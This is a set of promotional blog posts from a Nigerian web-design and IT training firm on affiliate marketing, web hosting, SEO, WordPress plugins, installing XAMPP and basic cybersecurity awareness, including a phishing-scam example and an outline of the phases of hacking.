It actually has a lot to do with you becoming a millionaire, for instance; you earn N1 as commission-based from any product you recommended, if 1 million Nigerians orders a product via your referral or affiliate link, you have automatically entitled a millionaire. Now I know you will be thinking “that was easy said”. Yeah, way so easy but it is not too good to be true, it is real and require some efforts to achieve. Eventually, the efforts will only cost you a three (3) days intensive training on Website Design and another three (3) days in Essential Digital Marketing training plus 30 days mentoring and support. You will learn how to use the underlying power of web presence to draw “targeted Audience” to you while embedding significant strategies that that will make you a millionaire into your affiliate business. Surprise? Please don’t be, what you never knew is that you can run a successful e-commerce business without carrying any inventory at all? In fact, it’s pretty straightforward to run a full blown online store without worrying about storing or shipping anything physical at all. Drop-shipping has been proven as one most effective way to carry out such e-commerce business. It is a typical online store where you take orders on your own website, but your vendor or distributor is responsible for shipping the product to the end customer.

LET ME GUESS YOU WANT TO ASK ME; HOW DO YOU START?

There are many online companies who sell products such as homeware, electronics, clothing, accessories, web-hosting spaces, or some other service, and they usually offer an affiliate program. For instance, Yuboss is an affiliate program by Yudala where a Youboss member gets products at a slightly cheaper rate, and also gets a commission for selling them through his/her affiliate link. You can simply sign up for any affiliate program and get your unique tracking link. Whenever you want to write about their products/service, all you need to do is simply use this special tracking affiliate link to recommend the company’s site, and if someone make an order via your link, you receive a commission.

HOLD ON, HOLD ONE, HERE COMES THE BIG BOOM

Before you start registering for affiliate programs and start sending your links to individuals, you need to know this hidden secret. First imagine, that Konga is not an e-commerce store, rather, an affiliate for other e-stores? Yeah, according to Philips consulting online shopping report of 2014, the following findings was made;

  • Warehouses are located in Lagos, but also operate from other major cities. In addition, it is common to have thousands of merchants scattered across the nation to facilitate service delivery.
  • On average, the leading online stores achieve about $2 million worth of transactions per week i.e approximately N1.3biilion per month.
  • Not less than 500 orders are placed in a day with each retailer (nationwide);
  • Currently, no fewer than 300 nationwide deliveries are made in a day with each retailer;
  • Items being returned to the online store are an infrequent occurrence; presently, no more than 20% of delivered items are returned to the seller;
  • Online merchants most often make use of their own delivery facilities and staff to convey items to customers; however, external couriers such as DHL, UPS and Fedex are sometimes used for out-of-state deliveries.
  • Over 38% Nigerians shop online with 43% Nigeria agrees that their in-store purchase has reduced since the introduction of online shopping in Nigeria.
  • Some major challenges faced by online retailers is poor customer service culture, city navigation and logistical issues, and under-stocked items.

NOW YOU KNOW WHERE I WAS HEADING

So let’s rephrase the question; what if you become one of the highest seller/reseller in e-commerce simply by participating in an affiliate program in a different concept. Take a look at www.buyallsoftwares.com. Buyallsoftwares.com is actually an e-store where you can purchase any type of software you want in Nigeria. You can have an e-store like buyallsoftwares.com where you can display products from different e-store you are affiliated with.

WAIT! FIRST THING FIRST

I understand you want to jump into affiliate marketing immediately, but there are skills you will need to in order to stand and remain standing tall.

Soutech Web Consult has design training courses that will advance your knowledge into becoming a successful affiliate marketer. These training includes; Digital Marketing and Website Designing of which you will be trained in relevant areas in order to acquire necessary skills to effectively utilize this secret. You learn how to build your own e-store, discover selling products that will be profitable to market and most returned products, including how your customers can contribute in increasing sales.

A lot of people always misunderstand “niche marketing.” Niche marketing means focusing on a specific target market – electronics, clothing, homeware, etc. Niche marketing does NOT imply targeting the smallest market probable, which is what most people do. Remember these words: BIG MARKETS ARE BETTER.

See you at SOUTECH

SOUTECH Web Consults Training Courses

Web Design, Ethical Hacking, Networking, Mobile App Development, Project Management, Graphics and Branding, Advance Excel for Bankers/Statisticians and Research Experts and many more!

Click here for details:  https://www.soutechventures.com/courses/

Best website hosting service in Nigeria- Learn Web Design Skills in Abuja, Lagos, Port Harcourt Nigeria

WEB HOSTING, WHAT DOES THAT MEANS?

One of the questions we hear often from new students or client who wants to learn or venture into web design and development is – what is web hosting and how does it work?

Well, think of hosting as a house, it could be an apartment building or lake view terrace that you rented for a particular purpose, in our context website. Websites are hosted on web servers and in order to get your website hosted, you will pay for a web-hosting service. You will be given a space to run your business, just an empty space with no shelf, no furnishing although it is easy to furnish your space by installing any framework you want choosing from the many that come in with your cPanel account. If you do not have a hosting service, you will have a place to put your files and the domain name you bought (if you already have), will be just a virtual house address with no physical building. To run a website, you will need basically three things; domain name, Hosting and Web content. Your web content includes text and media files that needed a space to be stored in, which is where web hosting comes in play.

CHOOSING A HOSTING PLAN.

When choosing a web hosting plan, you should first consider what type of website you are going to be running. Is it going to house members? Will it be a database driven website or static HTML? Will it be strictly informational? Will you be running an e-commerce store? How huge are your website files? What is your estimated traffic? All these will affect the choice of hosting you want.

Just like the housing illustration, most web-hosting providers offers three main categories consisting of Shared, VPS and Dedicated Servers.

Shared Hosting – This is hosting type is more like an apartment building, where you neighbor and everyone is using the same resources. If one of the neighbours is over-using a resource, it can affect the others on the server. It is the cheapest and most common type of hosting. Many people start out on a shared hosting plan.

VPS – Virtual Private Servers are much like a townhome, or row house. Each account is like its own home unit. They have separate resource allocation and are in much more control over their site environment. However, just like in a shared, tenants that overuse resources may have an effect on the other accounts on the server. This doesn’t happen often on a VPS than a shared server.

Dedicated server – This is like owning your own house, the entire building is yours. In other words, the entire server is yours. All the resources are dedicated to your account, so no one else can bother you on the server. Just like a house, it varies in sizes, so you may need to upgrade to larger dedicated servers as your website grows.

Irrespective of the hosting category you choose, you will still have to decide on the size of space and amount of allocated bandwidth you will want to acquire. You can always upgrade to increase space and bandwidth as you desire in future.

Website content /files are what your visitors and potential customers actually see when the visit you site. The site files are not different from any other file you normally use, like a .jpg photograph, or .mp3 music file. Though, website files are also. PHP files or .html files, which are PHP scripts or HTML pages respectively.

Web hosting services works simply by giving us a storage space where our website files will be stored in high-powered computers (web servers) connected to a very fast network. In web-hosting, anything correlated to managing these servers and its software, security, support, bandwidth, speed and so much more, is known and web server management.

I hope you now understand what is web-hosting, do not forget to order a hosting space with us, visit http://www.soutechhosting.com

Learn website design today- Online or Offline! Dont miss it, Start Learning to Earn

www.soutechventures.com/courses

How to get to google first page online: SEO Tips and Tricks

HOW GOOD IS YOUR SEO?

If websites are like cars, then SEO is more like an engine that drives a car. A good performing car is a result of a well-serviced engine. In other words, if your engine is not in good shape, then your car is as good as bad itself. This make me ask you a direct question – How sound is your SEO? Knowing the state of your SEO takes more than just running a search on your domain name. Though it is good practice to check if your website is indexed by some popular search engines like Google, Yahoo, and Bing, it requires some specific skills and practice to ascertain how good is your search engine optimization.

Most of these skills and practice requires some amount of training in Website Design and Digital Marketing and you can enroll for either of these courses at Soutech Web Consult, Area 1, Abuja.

So you want to know how good is your SEO? Here are some processes you will need to effect or observed.

DOMAIN NAME

All SEO starts from a domain name. There should be a good amount of analysis on the domain name you intend to use and the type of extension. For instance, while a .com extension is strongly recommended for most domain name www.getinternet.net is a more suitable domain for an Internet Provider company and www.givehelp.org is a good suggestion for an NGO. When acquiring domain name avoid buying a domain name that contains special characters (i.e www.get-internet.net). It is also advisable not to buy a domain containing numeric characters. The easier it is to pronounce a domain name verbally, the better it is for a search engine to crawl it in.

WEBSITE STRUCTURE

Just like any well-planned building has a blueprint, so as a good website should have a well-structured sitemap. A sitemap is being neglected even by some Web developers, but thanks to Google Webmaster. In order to successfully enlist your website to Google webmaster so you be found on the web, you will need to add/upload you website sitemap into Google Webmaster. It is good practice to have a proper sitemap and update it each time new pages are added to your website. Just in case you are wondering, sitemap enables search engines to read and get familiar with your web pages for proper indexing and optimization.

KEYWORDS

If you would want to be seen, heard of and talked about, then you must understand the power behind A keyword. It is a word or phrase that is a topic of significance allowing searchers to identify and verbalize their problem or topic in which they’re looking for more information. Using the right keywords goes hand to hand with your domain name. choosing the right keywords starts with your domain name because your domain is going to be the first keyword the search engine will optimize. The content of your websites and details of your business/services also plays significant roles when choosing keywords. An example of wrong keywords is when your websites talk about Internet and Web applications but your keywords are on Groceries.

Having a web presence for your business and services is a development for the future, but there is need to employ professionals when it comes to web presence otherwise your web presence will end up as web-unknown. You manage your website and SEO by yourself,  though you will need to learn some skills. I recommend taking a Website Design and Digital Marketing training at Soutech Web Consult, at SoutechWe only train you in the relevant areas, fast and conveniently design for you.

You can as well hire us for professional web development services.

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How to build and design a website within 3 days: SOUTECH Web design training school Abuja, Nigeria

Learning how to build a website is much more fun than painstaking as often presumed. You can learn how to build your own website within just days. Gone are the days when you must have to be a web programmer learn how to code before building websites. Today, with the emergence and development of content management system, building websites has become much easier. A lot of content management systems are open source, which means you can use them freely and also modify the codes to achieve what you want to achieve. Also, the open source content management systems have led to the development and website templates, components and plugins which add some specific functionalities on our websites.

You can easily change website layout, colour and fonts styles with just a few clicks and add functionalities by installing desired plugins and components.

Some widely used content management systems include:

  • WordPress
  • Joomla
  • Drupal
  • Open
  • Magenta and so much more

YOU CAN ALSO TRY WYSIWYG

Although building websites with CMS is recommended, building without CMS can also be achievable and fun as well. There many WYSIWYG (what you see is what you get) website editors that make creating a website easy. Some WYSIWYG editor like Adobe Dreamweaver also gives you the opportunity learn some HTML tags and codes by splitting the windows into design view and editor view. Microsoft Expression Web is also a good WYSIWYG editor with lots of features that are fun to explore.

If you are not a fan of GUI, there are also IDE editors that you can make use of such as;

  • Aptana Studio
  • Brackets
  • Codelite
  • Netbeans
  • Notepad++
  • PHPeD
  • PHPStorm

 BEGINNERS LOVE CMS

Though PHP frameworks such as Laravel, has proven to be a better practice in web development, especially for OOP (Object Oriented Programing) projects, beginners still find it easy to learn website design using CMS. CMS offers many advantages to designers, developers and content managers for speedy development and to some extent simple access to advanced features. You can easily install new website templates seamlessly without altering the website content. Some CMS will include everything you need to implement an integrative online marketing strategy. Most CMS will contain tools for search engine optimization, email and sms marketing, social media marketing and blogging. You can also use a CMS with necessary plugins to create event registration forms, collect fees and donations, and store member information.

 SOUTECH MAKES IT EASY

Despite the fact that building websites using CMS is easy, some knowledge and skills are required in order to make effective use of the software mentioned above. These skills and knowledge can be learned by completing a certificate course on Website Design Management. Soutech has designed this course to enable you to become acquainted with content management system. You have the options to either have a live training which I recommend, or order for our visual training online via www.soutechventures.com

Becoming  a website designer expert is easy at Soutech Web Consult, Soutech has design a complete CMS Website Design package that makes enables you to become a WordPress CMS Expert.

Do you want to become an expert website designer? Be able to build websites for school, churches, institutions, government agencies,hotels and just for about any body.?

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Building a fully responsive, functional and interative website using Content Management System- Website Design Training in Nigeria. SOUTECH

Building website using CMS is fun and simple as playing a video game. You will have access to some graphic interface which saves you the stress of coding, drag and drop functionality that eliminates time waiting and WYSIWYG editors so you do not need to refresh your browser all the time for testing.

Most CMS are shipped with fewer default plugins and components that can be use in developing websites, whilst you can install additional plugins to use at will. The CMS with the largest number of downloads and installation still remains WordPress. WordPress is the real deal when it comes to open source CMS. It has robust plugins of various functionalities and the largest number of website templates.

There are some plugins that could be extremely useful when you install a WordPress CMS and ready to start building your website.

LOGIN AND SECURITY:

When building websites with CMS, there are always some serious concerns when it comes to login and security. For instance, you will want to control access to your users and administrative roles as well. Some level of programing knowledge might be required to implement certain protocols in order to safeguard and control your WordPress dashboard (backend). However, some developers has already created plugins that will do all those painstaking tasks for you. Some important plugins that could be useful in this aspect are;

Wordfence: is great for beginners and pro users alike that covers login security, security scanning, IP blocking and WordPress firewall and monitoring. It performs a deep server scan of a website’s source code of the and compares it to the Official WordPress repository for core, themes and plugins.

Login LockDown: records the IP address and timestamp of every failed login attempt. If more than a. certain number of attempts are detected within a short period of time from the same. IP range, then the login function is disabled for all requests from that range.

Sucuri: offers a free plugin that is available in the WordPress repository. This plugin offers various security features like malware scanning, security activity auditing, blacklist monitoring, effective security hardening, file integrity monitoring, and a website firewall. It is a security suite meant to complement your existing security posture.

SEARCH ENGINE OPTIMISATION (SEO)

The advancement of a good web present resides on an effective SEO management. This includes keywords, tags, image descriptions etc. Some of the plugins that can manage your WordPress website SEO are:

WordPress SEO by Yoast: is a best free SEO plugin for WordPress. This single plugin takes care of many aspects of your WordPress website’s SEO. It can be used to add meta value for homepage and single post, perform social SEO, create sitemap file and Control indexing of your website.

SEMrush: Unlike others which are plugin, this is a web based tool. Think of SEMRUSH as a complete SEO suite for people with or without SEO skills. The most popular feature of SEMRUSH is, it let you do the complete site SEO audit which helps you to identify SEO issues that are preventing the organic growth of your blog.

 

SOCIAL MEDIA INTEGRATION

One of the reasons why WordPress has become the developer’s choice is capability of diverse plugins, such that can be integrated into your website easily. Below are some useful social media integration plugins;

Sumo Share: offers multiple apps designed for increasing traffic. It is precisely made for WordPress, and has a lot of options for customizing the social buttons that you add to your website. It comes with a meek interface that makes choosing where to place the icons easy. It’s a free plugin that also has a premium version with advanced features for $20 a month.

Smart Website Tools by AddThis: is a neat plugin which requires that you register on the AddThis service in order to use it. It offers numerous placement options for your social media icons. You can make use of five of them for free, while a premium version that offers you another five cost $12 per month

WP Social Sharing: is a well arranged plugin supporting 6 of the big social media networks, including Facebook, Twitter, Pinterest and LinkedIn. The great thing about it is that it’s mobile-friendly and allows easy resizing for mobile devices. It also supports shortcodes, and enables you to modify the text for your social media buttons.

Jetpack: is a great plugin for your social media needs, with an easy-to-use but actual sharing component. But it’s also much more than that, as it contains 34 other modules, adding numerous functionalities to your WordPress website.

COMMUNICATION

Communication is a dynamic feature that circles a good website. In order to keep your website alive and dynamic, you will need to install some communication plugins such as;

Subscribe Me The free Subscribe Me plugin makes it easier for your visitors to use some of the most popular feed reading applications or services to subscribe to your feed, by adding a popup that lets them choose which service they want to use.

Contact Form 7: manages multiple contact and other forms, allows you can customize the form and the mail contents easily with simple markup. The form also supports Ajax-powered submitting, CAPTCHA, Akismet spam filtering, etc.

Zendesk Chat (Formally Zopim Live Chat): is one of the most popular live chat services available to WordPress users. It is easily installed thanks to a dedicated WordPress plugin, available for free from the official repository. Zopim’s chat boxes are among the most stylish you will find, with beautiful, customizable layouts and themes.

WP Live Chat Support: the only completely free option in today’s list of best live chat plugins for WordPress – though you can unlock additional features by upgrading to the Pro version for $39.95.

 It is also a good practice explore the WordPress plugins directory and if possible test some plugins to see how they work for you. You will be amazed on what you will discover. Do not forget that it is advisable to deactivate and uninstall any unused plugin. Also adapt the practice of updating any outdated plugin in order to enhance the security of your WordPress website.

Becoming a WordPress expert is easy at Soutech Web Consult, Soutech has design a complete CMS Website Design package that makes enables you to become a WordPress CMS Expert.

Do you want to become an expert website designer? Be able to build websites for school, churches, institutions, government agencies,hotels and just for about any body.?

What to become a partner and start reselling softwares? visit : www.buyallsoftwares.com

 

 

5 Steps to hacking(ethical hacking)- SOUTECH Cyber security tips, techniques and tools guide 2017

The 5 Phases Every Hacker Must Follow- Part 1

Originally, to “hack” meant to possess extraordinary computer skills to extend the limits of computer
systems. Hacking required great proficiency. However, today there are automated tools and codes
available on the Internet that makes it possible for anyone with a will and desire, to hack and succeed.
Mere compromise of the security of a system does not denote success. There are websites that insist on
“taking back the net” as well as those who believe that they are doing all a favor by posting the exploit
details. These can act as a detriment and can bring down the skill level required to become a successful
attacker.
The ease with which system vulnerabilities can be exploited has increased while the knowledge curve
required to perform such exploits has shortened. The concept of the elite/super hacker is an illusion.
However, hackers are generally intelligent individuals with good computer skills, with the ability to create
and explore into the computer’s software and hardware. Their intention can be either to gain knowledge
or to dig around to do illegal things. Attackers are motivated by the zeal to know more while malicious
attackers would intend to steal data. In general, there are five phases in which an intruder advances an
attack:
1. Reconnaissance
2. Scanning
3. Gaining Access
4. Maintaining Access
5. Covering Tracks

Watch out for Part 2.

Attend a Comprehensive Certified  Ethical Hacking ver. 9 Training at SOUTECH 

Job Roles after taking the course

  • Security Analyst
  • Security Operations Center (SOC) Analyst
  • Vulnerability Analyst
  • Penetration Test Expert
  • Cybersecurity Specialist
  • Threat Intelligence Analyst
  • Security Engineer

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Local Web Development via a server: Learn how to start developing websites- SOUTECH

So you have just found web development interesting and want to learn or you are a beginner in web development? Whichever category you belong; you will definitely find this article interesting and useful. During my first three months as a beginner in web design, I recall how difficult it was for me to see my codes displayed on the browsers as intended. Most times the HTML display just fine while some PHP and JavaScript will not display as intended and I often wonder what is it that I am not doing right, that before I meet a good friend called “Local Server”. Off cause, PHP is a server-side language, so you will definitely need a server to run it.

Local Server

Local Server often called a localhost is a software with some built-in functionalities that make your website looks just like it should when it is been hosted on a live server. You will need a local server if you intend to install and run a Content Management System on your computer. It can be accessed by pointing your browser to 127.0.0.1 or http://localhost, at some point you might need to add a port i.e. http://localhost:8080. To install a local server on a windows computer you have an option to choose between XAMPP (X-Cross-Platform, A-Apache, M-MariaDB, P-PHP and P-Perl) and WAMP (Windows, Apache, MySQL, PHP). I prefer XAMPP which works just fine for me and other developers find it to be awesome. Don’t worry both packages are open source.

Functionality

The two regular functions often used are the server (which is apache) and database (MariaDB). The Apache server which is known to be the best server in the world, serving HTTP document over the internet allows your website to be published locally for testing. MariaDB is one of the most popular open source database servers created by the original developers of MySQL, it allows for database creation when building a data-driven website.

How to install

We will use this guide to install XAMPP on our local server. So with no wasting of time head straight tohttps://www.apachefriends.org/index.html choose the version of XAMPP you prefer to download (I suggest you choose the one with a widely used PHP version).  After the download is complete, you need to open the folder where you saved the file, and double-click the installer file.

First, you will be prompted to select the language you wish to use in XAMPP. Click the arrow in the drop-down box to select your desired language from the list, then click OK to continue the installation process.

If you are using Windows 7 or higher, you will see a pop-up window, warning you about User Account Control (UAC) being active on your system. Do not panic, just click OK to continue the installation.

Next, you will see the Welcome to The XAMPP Setup Wizard screen. Click Next to continue the installation.

The next dialogue screen will allow you to choose which components you would like to install. To run XAMPP properly, all components checked need to be installed. Click Next to continue.

It is time for you to Choose Install Location screen. Unless you would like to install XAMPP on another drive, you should not change anything. Click Install to continue.

Relax while XAMPP extract files to the location you selected in the previous step.

Once all of the files have been extracted, the Completing The XAMPP Setup Wizard screen will appear. Click Finish to complete the installation.

Click Yes to open the XAMPP Control Panel after you have click Finish in the previous screen.

You now have a local server.

A local server is idle for testing when building websites and web applications. XAMPP needs to be configured properly for better functionality. To learn more about building web applications and testing with a local server, I recommend you enroll in a web design training at Soutech Web Consult.

Ten Deadly Sins of Cyber security: SOUTECH Web Security Tips and Techniques Guide

1. Introduction
The Information technology (IT) revolution has made it easier to communicate and  disseminate information over long distances and in real time. IT has entered into major realms of a person’s life like education, occupation, commerce and entertainment. The speed, convenience and efficiency associated with IT have made it the lifeline of most organizations, government agencies, professionals and  individuals. Whether you take a look at banking and finance, energy, health care, utility services and communication, IT has revolutionized every sphere of business activity and service delivery. The services sector, in particular has been one of the major beneficiaries of the IT revolution. Banks now offer multiple channels for interacting with their clients such as branch, Internet, mobile, phone and teller machines which make financial products more attractive, and banking more convenient for customers. In this case, banking industry customers are networked to their bank in one way or another.
1.1 Cyber Security
Information Technology and its significance in the business world have become ubiquitous. Today’s business environment is comprised of service industries that are completely dependent on their IT infrastructure. For example, the air traffic control industry is critical to the “normal” functioning of airlines so any disruption in their “traffic control systems” can cause errors that could result in accidents and could even lead to loss of life. Conversely, a power breakdown resulting from a disruption in a company’s IT infrastructure could bring all “operational” activities to a standstill.
The explosive growth and dependence on Information Technology has also provided a veritable breeding ground for cyber crime. Information Technology has made it easier for unscrupulous entities to deceive, steal and harm others through cyberspace. The ease with which these cybercrimes can be committed has raised concerns regarding information confidentiality, integrity and availability. Therefore, the importance of cyber security cannot be overstated. Cyber security involves protection of the data on all
computers and systems that interact with the Internet. It is possible to achieve this level of protection by ensuring proper authentication and maintaining confidentiality, integrity and access controls. In addition, non-repudiation of data is a crucial element of cyber security.

2. Vulnerabilities
The evolution of Cybercrime is evident when one examines how technologically advanced the scope and nature of common attacks have become. Cybercriminals have a more sophisticated modus operandi and purpose. Information can be stolen through social engineering techniques like phishing, or via direct attacks, installing malware through browser tools, ad-links, and key loggers among others. Cybercrime is steadily evolving into a well-organized but still very illegal business activity. In spite of these advances, adherence to a standard of IT Security fundamentals can facilitate appropriate handling of cyber threats.
2.1 Ten Deadly Sins of Cyber Security
i. Weak passwords
The most fundamental, but often overlooked premise of cyber security is strong passwords. Many users still use insecure passwords.

Some of the insecure password practices include
a) Using all letters of same case,
b) Sequential numbers or letters,
c) Only numerals,
d) Less than eight-characters,
e) Predictable characters (such as name, date of birth, phone number)
f) Common passwords for different online accounts.
Now, the question is, “What makes users use predictable passwords irrespective of perceived threats?” Consider the number of accounts that require a user to “login,” throughout a user’s daily routine. Social networking sites, bank websites, official web applications, databases and email ids.
Some of the reasons for using predictable and insecure passwords include:
a) Easy to remember
b) Lack of uniformity in password policy across websites.
A strong password must be a combination of letters, numerals and special
characters and must not be less than eight characters long. A password should
not be predictable. Users must employ different passwords for each of their
individual online accounts.
ii. Phished
Do you respond to e-mails asking for account information? If your answer is,
“Yes.” then you are more likely [than not], to be a victim of a phishing scam. Phishing is a common method of identity theft that utilizes fake e-mails which are sent to customers to acquire sensitive user information.
Example:
Mr. “XYZ” has a savings account with Target bank. Last weekend, Mr. XYZ received an e-mail from customersecurity@targetbank.co.uk with a subject line, ”Update your Target bank online access.”
The e-mail stated that the bank had recently upgraded its services and requested that the recipient fill out a “Customer Update Form” on the link  http://www.targetbank.com. Since Mr. XYZ assumed that the email came from his own bank, he clicked on the provided link. The link took him to a website which appeared to be identical to Target bank’s website. Mr. XYZ filled out the web form containing personal
information as well as authentication details, which the “Customer Update Form” required.
A day later, when he logged on to his online account at https://www.targetbank.com, he was shocked to find that all the funds in his account had been drained.
Mr. XYZ was the victim of a simple phishing scam. Let’s review some basic details that Mr. XYZ missed in the email. First, the mail did not address him by his name; instead, it used “Dear Customer”. Second, the email id ended with “co.uk”, while ideally it should have ended with “.com.” Third, the link, “http://targetbank.com” lead to a fake site www.malicious.ie/userdetails.asp. Finaly, banks usually do not ask customers to reveal “access details” through email.
This is the type of example that can be shared with an employee while training them not to respond to or click on links provided in a “suspicious e-mail.”

iii. Lack of data back up
A user can lose data in events such as hardware or software failure, a virus attack, file corruption, accidental file deletion, application failure, damage of partition structure, or even damage due to power failure. Appropriate data backup procedures allow a user to restore data in times of crisis. There are many ways to backup data such as storing it on CD or DVDs drives, thumb drives, and external
hard disks. Users can create a complete system backup by using a disk image 1. Another secure way to back up data is to employ an online backup service whose main business function is to host uploading and downloading of files as well as file compression and encryption. The basic premise behind backing up data is to make “backed up” data available for later use. Depending upon the changes in
data, a user may schedule backup activity on an hourly, daily or weekly basis. Users can make use of backup options available on a backup utility to verify that all data is properly copied
1 A disk image is a complete sector‐by‐sector copy of the device and replicates its structure and contents
It is not uncommon to “back up your back up” by creating multiple copies of data, so that in case one backup copy is damaged, another copy could be used. Data, which has been backed up, must be adequately protected from malware, Trojans or other cyber threats by using anti-virus solutions and regular updates. Another process, which can prove to be valuable, is to store a copy of data at an offsite
location to safeguard data from any disaster at current premises. While recovering backup files, it is a good idea to have a data recovery software in place to retrieve files from external hard drives.
iv. Insecure Internet Browsing
A Web browser is the gateway to the Internet and is one of the most widely utilized applications. Web browsers are embedded with scripts, applets, plugins and Active X controls. However, these features can be used by hackers to infect unprotected computers with a virus or malicious code. For example, web browsers allow plugins like a flash viewer to extend functionality. Hackers may create malicious flash video clips and embed them in web pages. Vulnerabilities in a web browser can compromise the security of a system and its information. To control security threats, a user may:
a. Disable active scripting in the web browser

b. Add risky sites encountered under restricted sites zone
c. Keep Web browser security level at medium for trusted sites and high for
restricted sites
d. Uncheck the AutoComplete password storage feature in AutoComplete e. Avoid downloading free games and applications as they may have in-built spyware and malware
f. Use anti-spyware solutions
Cyber threats that originate as the result of web browser vulnerabilities, can be controlled by using the latest versions of the web browser software, or by installing updates and configuring settings to disable applets, scripts, plugins and Active X controls.
v. Use of pirated software
Do you use pirated operating systems and/or software?
If your answer is, “Yes.” then you are more likely [than not], to be vulnerable to cyber-attacks.
The ease of availability and often low cost of pirated software can entice users to install pirated software on their computers. However, pirated software may not have the same configuration strength that is available with “genuine software.” The threat to individuals and companies from the risk of privacy, identity or data protection breaches and the exposure of financial implications in the cyber space
make the purchase of “genuine software,” a must. Pirated software may be used to harvest Trojans and viruses in computer systems and since the software is “unsupported” the user is deprived of technical support. Another downside is that software updates are not available to those who have installed pirated software. We purchase software for its functionality and pirated software may lead to frequent interruptions and has even been documented to cause damage to your hard disk. Users who purchase and install genuine software products will benefit from technical support, product updates, un-interrupted services and in the long run; cost savings.
vi. Misuse of Portable storage devices.
The last few years have seen an increased usage of portable storage devices. These devices have brought improvements in working practices, but they also pose a threat to data via theft or leakage. These devices have high storage capacity and can easily be connected to other devices and/or to network
resources. Users can use portable storage devices to download software, applications and data by connecting to official networks. Portable storage devices may also be used to download privileged business information and sensitive customer information. Organizations can restrict the use of portable storage devices to selected users or selected set of devices. “The loss or theft of portable devices can lead to loss or “leakage” of sensitive business and/or user information. “
An example:  In 2007, a leading provider of a Security Certification lost a laptop containing names, addresses, social security numbers, telephone numbers, dates of birth and salary records of employees. In this case, the sensitive business information could have been encrypted to protect data from leakage, even if the device was stolen.

vii. Lack of proper encryption If a user does not have the proper network security practices in place, they are essentially inviting malicious entities to attach their system. Whether a system is a wired or wireless network it is crucial for the proper security safe guards to be in  place to assure safe operations while the computer is active in a live session on the web. Some of the risks that one can expect from an unsecured network include:
a. Unauthorized access to files and data
b. Attackers may capture website traffic, user id and passwords,
c. Attackers may inject a software to log user key strokes and steal sensitive information
d. Unauthorized access to corporate network. (In the event that the user’s network is connected to a corporate network.)
e. A users IP address could be compromised and unauthorized users may use it for illegal transactions. (User network may be used to launch spam and virus attacks on other users.)
A network can be secured by using proper encryption protocols. Network
encryption involves the application of cryptographic services on the network transfer layer, which exists between the data link level and the application level. Data is encrypted during its transition from the data link level to the application level. Wired networks use Internet Protocol Security, while Wireless Encryption Protocol is used to encrypt wireless networks.
viii. Lack of regular updates
Cyber threats are always on the horizon. New versions and updates of security products are released on a regular basis with enhanced security features to guard against latest threats. A user can make use of recommended practices to improve defense against cyber-attacks. Users may also keep track of latest versions of software to improve performance. Since some software developers only issue updates for the latest versions of their software, a user that is using an older version, may not benefit from the latest updates. One of the crucial ways to reduce vulnerabilities is to regularly update the system’s network security devices and related software.
ix. Using Wireless Hotspots
Wireless users often look for convenient ways to gain Internet access, and public Wi-Fi hotspots provide quick, easy and free access to the Internet. What can be more convenient than that? A resourceful wireless user can find Wi-Fi access points at public places such as Cyber café’s, universities, offices, airports, railway stations and hotels. However, these Wi-Fi hotspots may be insecure. Some of the
risks involved in connecting to Wi-Fi hotspots include:
a. Users may be required to use the ISP that is hosting the Internet access for the business that is creating a particular access point. Not all ISPs provide secure SMTP for sending e-mail. In other words, it is possible that any e-mail that is sent and received by users via a “random” hot spot could be
Ten Deadly Sins of Cyber Security August 2010
All Rights Reserved. Reproduction is Strictly Prohibited intercepted by other users sharing the same hot spot. (All users in the same hot spot are sharing the same network.)
b. If a user’s wireless card is set to ad-hoc mode, other users can connect directly.
c. If the access point does not use encryption technology like WEP, other users with a Wi-Fi card could intercept and read the username, passwords, and any other information transmitted by a user.
While using public access points it is safe to use secure websites protected by the Secure Sockets Layer. Using infrastructure mode is safer than ad-hoc mode as it uses access controls to connect to network. A Virtual Private Network (VPN) is a secure way for a user to connect with their company network. (VPN creates secure access to private network over public connections.)
x. Lack of awareness/ proper training Internet and wireless technologies have revolutionized the daily routine of users. With the aid of this new technology, users can conduct transactions, access bank accounts and reserve airline tickets in few minutes. The downside of this new technology is that there are also incidents of data breach and transaction frauds. Cyber security is becoming an issue of major concern. However, users can avoid most of the risks by employing simple precautions. (Lack of awareness is a major hurdle in the safe use of the cyberspace.) Selection of weak passwords is one of
the most fundamental errors committed by users. Unaware users are tempted to reveal authentication details through phishing. Inadequate firewall protection, lack of regular software updates can make systems vulnerable to cyber threats. Users may take precautions by adhering to cyber security tips given on websites of banks, regulatory organization, security product developers, and information
security departments such as SOUTECH VENTURES. Organizations can create awareness among employees through regularly scheduled meetings, training programs and workshops.
3. Conclusion
The proliferation of information technology has also presented the criminals with more attack
vectors. Consequently, cybercriminals make use of every possible vulnerability and opportunity to exploit and launch attack. For example, web feeds designed for productive use of users in meeting information requirements may be used by cybercriminals as attack vectors. Cybercrime can be countered by proactive cyber security initiatives. Creating awareness among users is crucial to limit threats in cyber space. Convergence of laws related to cyber security across international boundaries could also assist in the appropriate handling of cybercrime.

Attend a cyber security training course in Abuja or take online class in cyber security/ ethical hacking TODAY!

Call 08034121380 to book a class or Visit

What most Nigerian Businesses are Missing ” Getting Your Business Found Online via Google”

WHAT NIGERIAN BUSINESSES AND SERVICES ARE MISSING

The internet has been a power tool and has played a significant role over years in transforming people, businesses, and services. The social media, for example, has made communication easy in various ways, nevertheless, it has also aided businesses and services to global recognition. Yeah, now you know where I am heading.

Applicable Strategy

So you want to know what your business and services are missing? Well, before I tell, I would like you to ruminate about the word “CONSISTENCY”, does it ring a bell? It should if you belong to the team “expanding my business”. Now imagine that you wake up in the morning and try to login to your Gmail account, google wasn’t available, and wouldn’t be until noon and you need to send a very important email. If you are thinking like me, you would look for another email provider that will allow you to send your important email.

Now you have an alternative while Gmail in the other hand has a competitor, that is exactly what will happen when your business is not available to a customer at a given time. Unfortunately, I would not talk about consistency in your business and services, rather a consistency in what will bring prospective clients to your targeted list.

Missing the Internet

Do you know that Amazon.com has vendors in almost every city in the USA and UK? But over 85% of their customers patronizes them via the internet. Customers spend more time online because it is easier to locate items through web search function, it is convenient (no rush), and they can choose to pay upon delivery. Taking your business and services to the internet doesn’t only globalized you, it breaches the limit of services you can offer your clients and keeps your clients close to you.

You must apply the consistency theory when taking your businesses and services to the internet. Over 7 million Nigerians use social media every day, yeah! So you need to make over 7 million Nigeria know about you, and you’re are going to remind them about your business and service every day.

Statistics of Nigerians using Facebook.com

Facebook has announced that the social media networking giant has 16 million active users in Nigeria, 6.3 per cent up from June 30, 2015. The announcement coincides with Facebook’s Friends Day, a celebration of Facebook’s 12th anniversary which was marked on Thursday, February 4.

